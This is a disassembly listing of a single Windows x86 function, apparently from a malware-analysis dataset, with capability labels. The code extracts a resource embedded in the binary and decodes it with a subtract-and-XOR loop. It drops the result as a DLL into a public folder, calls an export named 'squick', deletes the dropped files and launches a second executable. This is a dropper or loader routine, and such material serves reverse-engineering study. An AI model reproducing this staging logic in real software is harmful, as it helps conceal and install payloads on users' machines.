Function at 0x402040
Capabilities:
Check if file exists
Create process on windows
Delete file
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3cc
mov eax, dword [0x472bd0]
xor eax, esp
mov dword [esp + 0x3c8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0xe
mov ebx, 0xf
xor edi, edi
push str.CrazyTuesdayIn
lea ecx, [esp + 0x100]
mov dword [esp + 0x20], esi
mov dword [esp + 0x118], ebx
mov dword [esp + 0x114], edi
mov byte [esp + 0x104], 0
call fcn.00403260
push ebx
push str.CrazyTuesdayOut
lea ecx, [esp + 0x90]
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xa4], edi
mov byte [esp + 0x94], 0
call fcn.00403260
lea eax, [esp + 0xf8]
push 1
push eax
call fcn.00401770
lea ecx, [esp + 0x90]
push 2
push ecx
call fcn.00401770
add esp, 0x10
call fcn.004016b0
test eax, eax
je 0x402106
cmp edi, 4
jge 0x402106
call fcn.004016b0
test eax, eax
push 0x3e8
setne bl
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp bl, 1
je 0x4020e6
push 0x464e4c
push 0x134
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x402722
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402722
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0x10], eax
test eax, eax
je 0x402722
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x402722
lea edx, [esp + 0x1c]
push edx
mov edi, ebx
call fcn.00402c30
mov eax, dword [esp + 0x2c]
mov edi, dword [esp + 0x28]
sub eax, edi
jne 0x402177
call fcn.0043c345
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x10]
push ebx
push ecx
push edi
mov dword [esp + 0x20], edi
call fcn.00443c70
add esp, 0xc
xor eax, eax
test ebx, ebx
jle 0x4021a1
mov dl, byte [eax + edi]
sub dl, 0x7a
xor dl, 0x19
mov byte [eax + edi], dl
inc eax
cmp eax, ebx
jl 0x402190
mov ecx, 0xb
mov esi, str.C:UsersPublicVideos
lea edi, [esp + 0x130]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x130]
call fcn.00401f70
push 0
call fcn.0043c818
add esp, 4
push eax
call fcn.0043c381
add esp, 4
call fcn.0043c393
cdq
mov ecx, 0xa
idiv ecx
push edx
call fcn.0043c393
cdq
mov ecx, 0xa
idiv ecx
push edx
push str._d_d
lea edx, [esp + 0x16c]
call fcn.00404010
add esp, 0xc
xor edx, edx
mov eax, edi
mov word [esp + 0x38], dx
mov dword [esp + 0x4c], 7
mov dword [esp + 0x48], 0
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402221
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x134]
lea esi, [esp + 0x38]
call fcn.004030b0
mov eax, esi
push eax
lea ecx, [esp + 0x54]
push ecx
mov edi, str._study
call fcn.00404030
push eax
lea edx, [esp + 0xb0]
push edx
lea edi, [esp + 0x170]
call fcn.00404030
mov esi, 8
add esp, 0x10
cmp dword [esp + 0x68], esi
jb 0x402283
mov eax, dword [esp + 0x54]
push eax
call fcn.0040466e
add esp, 4
xor ecx, ecx
mov dword [esp + 0x68], 7
mov dword [esp + 0x64], 0
mov word [esp + 0x54], cx
cmp dword [esp + 0x4c], esi
jb 0x4022ad
mov edx, dword [esp + 0x38]
push edx
call fcn.0040466e
add esp, 4
mov edi, dword [esp + 0xa8]
cmp dword [esp + 0xbc], esi
jae 0x4022c4
lea edi, [esp + 0xa8]
call fcn.00401f70
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0xa4]
push eax
lea ecx, [esp + 0xe0]
push ecx
mov edi, str.2.txt
call fcn.00404030
lea edx, [esp + 0xac]
push edx
lea eax, [esp + 0x78]
push eax
mov edi, str.2.dll
call fcn.00404030
mov eax, dword [esp + 0xf0]
add esp, 0x10
cmp dword [esp + 0xf4], esi
jae 0x40231f
lea eax, [esp + 0xe0]
mov ecx, dword [esp + 0x10]
push ebx
push ecx
call fcn.00401fe0
mov eax, dword [esp + 0x78]
add esp, 8
cmp dword [esp + 0x84], esi
jae 0x40233e
lea eax, [esp + 0x70]
mov edx, dword [esp + 0x14]
push ebx
push edx
call fcn.00401fe0
mov eax, dword [esp + 0x78]
add esp, 8
cmp dword [esp + 0x84], esi
jae 0x40235d
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x402448
push ebx
push 0x464ee8
push 0x464e70
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp dword [esp + 0x84], esi
jb 0x402398
mov eax, dword [esp + 0x70]
push eax
call fcn.0040466e
add esp, 4
xor ecx, ecx
mov edi, 7
mov dword [esp + 0x84], edi
mov dword [esp + 0x80], ebx
mov word [esp + 0x70], cx
cmp dword [esp + 0xf4], esi
jb 0x4023cb
mov edx, dword [esp + 0xe0]
push edx
call fcn.0040466e
add esp, 4
xor eax, eax
mov dword [esp + 0xf4], edi
mov dword [esp + 0xf0], ebx
mov word [esp + 0xe0], ax
cmp dword [esp + 0xbc], esi
jb 0x4023fc
mov ecx, dword [esp + 0xa8]
push ecx
call fcn.0040466e
add esp, 4
lea eax, [esp + 0x1c]
xor edx, edx
push eax
mov dword [esp + 0xc0], edi
mov dword [esp + 0xbc], ebx
mov word [esp + 0xac], dx
call fcn.00402ca0
mov edi, 0x10
cmp dword [esp + 0xa0], edi
jb 0x40243c
mov ecx, dword [esp + 0x8c]
push ecx
call fcn.0040466e
add esp, 4
mov dword [esp + 0x9c], ebx
jmp 0x40275f
push str.squick
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40245c
call eax
jmp 0x40246e
push ebx
push 0x464f38
push 0x464e70
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call ebx
mov eax, dword [esp + 0x70]
cmp dword [esp + 0x84], esi
jae 0x402493
lea eax, [esp + 0x70]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push eax
call edi
mov eax, dword [esp + 0x70]
cmp dword [esp + 0x84], esi
jae 0x4024ad
lea eax, [esp + 0x70]
push eax
call edi
push 0x3e8
call ebx
mov ecx, dword [esp + 0x18]
push 0x104
lea eax, [esp + 0x1cc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x1c8]
push 0x5c
push edx
call fcn.0043c355
lea ecx, [esp + 0x1d0]
sub eax, ecx
sar eax, 1
inc eax
add esp, 8
xor edx, edx
push eax
mov eax, ecx
lea esi, [esp + 0x118]
mov dword [esp + 0x130], 7
mov dword [esp + 0x12c], 0
mov word [esp + 0x11c], dx
call fcn.004030b0
xor eax, eax
xor esi, esi
push 0xffffffffffffffff
mov word [esp + 0xc8], ax
mov ebx, 7
push esi
lea eax, [esp + 0x11c]
lea ecx, [esp + 0xc8]
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xdc], esi
call fcn.00403000
push 5
mov eax, str.1.exe
lea ecx, [esp + 0xc4]
call fcn.00402f20
mov eax, dword [esp + 0xc4]
mov edi, 8
cmp dword [esp + 0xd8], edi
jae 0x402580
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4025b3
mov eax, dword [esp + 0xc4]
cmp dword [esp + 0xd8], edi
jae 0x4025a2
lea eax, [esp + 0xc4]
push 1
push esi
push esi
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0xf8]
push ecx
call fcn.00401c00
lea edx, [esp + 0x8c]
add esp, 4
push edx
call fcn.00401c00
add esp, 4
cmp dword [esp + 0xd8], edi
jb 0x4025f7
mov eax, dword [esp + 0xc4]
push eax
call fcn.0040466e
add esp, 4
xor ecx, ecx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xd4], esi
mov word [esp + 0xc4], cx
cmp dword [esp + 0x12c], edi
jb 0x402628
mov edx, dword [esp + 0x118]
push edx
call fcn.0040466e
add esp, 4
xor eax, eax
mov dword [esp + 0x12c], ebx
mov dword [esp + 0x128], esi
mov word [esp + 0x118], ax
cmp dword [esp + 0x84], edi
jb 0x402656
mov ecx, dword [esp + 0x70]
push ecx
call fcn.0040466e
add esp, 4
xor edx, edx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x80], esi
mov word [esp + 0x70], dx
cmp dword [esp + 0xf4], edi
jb 0x402684
mov eax, dword [esp + 0xe0]
push eax
call fcn.0040466e
add esp, 4
xor ecx, ecx
mov dword [esp + 0xf4], ebx
mov dword [esp + 0xf0], esi
mov word [esp + 0xe0], cx
cmp dword [esp + 0xbc], edi
jb 0x4026b5
mov edx, dword [esp + 0xa8]
push edx
call fcn.0040466e
add esp, 4
lea ecx, [esp + 0x1c]
xor eax, eax
push ecx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xbc], esi
mov word [esp + 0xac], ax
call fcn.00402ca0
mov edi, 0x10
cmp dword [esp + 0xa0], edi
jb 0x4026f5
mov edx, dword [esp + 0x8c]
push edx
call fcn.0040466e
add esp, 4
mov dword [esp + 0xa0], 0xf
mov dword [esp + 0x9c], esi
mov byte [esp + 0x8c], 0
cmp dword [esp + 0x110], edi
jb 0x40278b
mov eax, dword [esp + 0xfc]
push eax
jmp 0x402783
push 0
push 0x464e54
push 0x464e70
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov edi, 0x10
cmp dword [esp + 0xa0], edi
jb 0x402754
mov ecx, dword [esp + 0x8c]
push ecx
call fcn.0040466e
add esp, 4
mov dword [esp + 0x9c], 0
mov byte [esp + 0x8c], 0
mov dword [esp + 0xa0], 0xf
cmp dword [esp + 0x110], edi
jb 0x40278b
mov edx, dword [esp + 0xfc]
push edx
call fcn.0040466e
add esp, 4
mov ecx, dword [esp + 0x3d4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0043bbce
mov esp, ebp
pop ebp
ret 0x10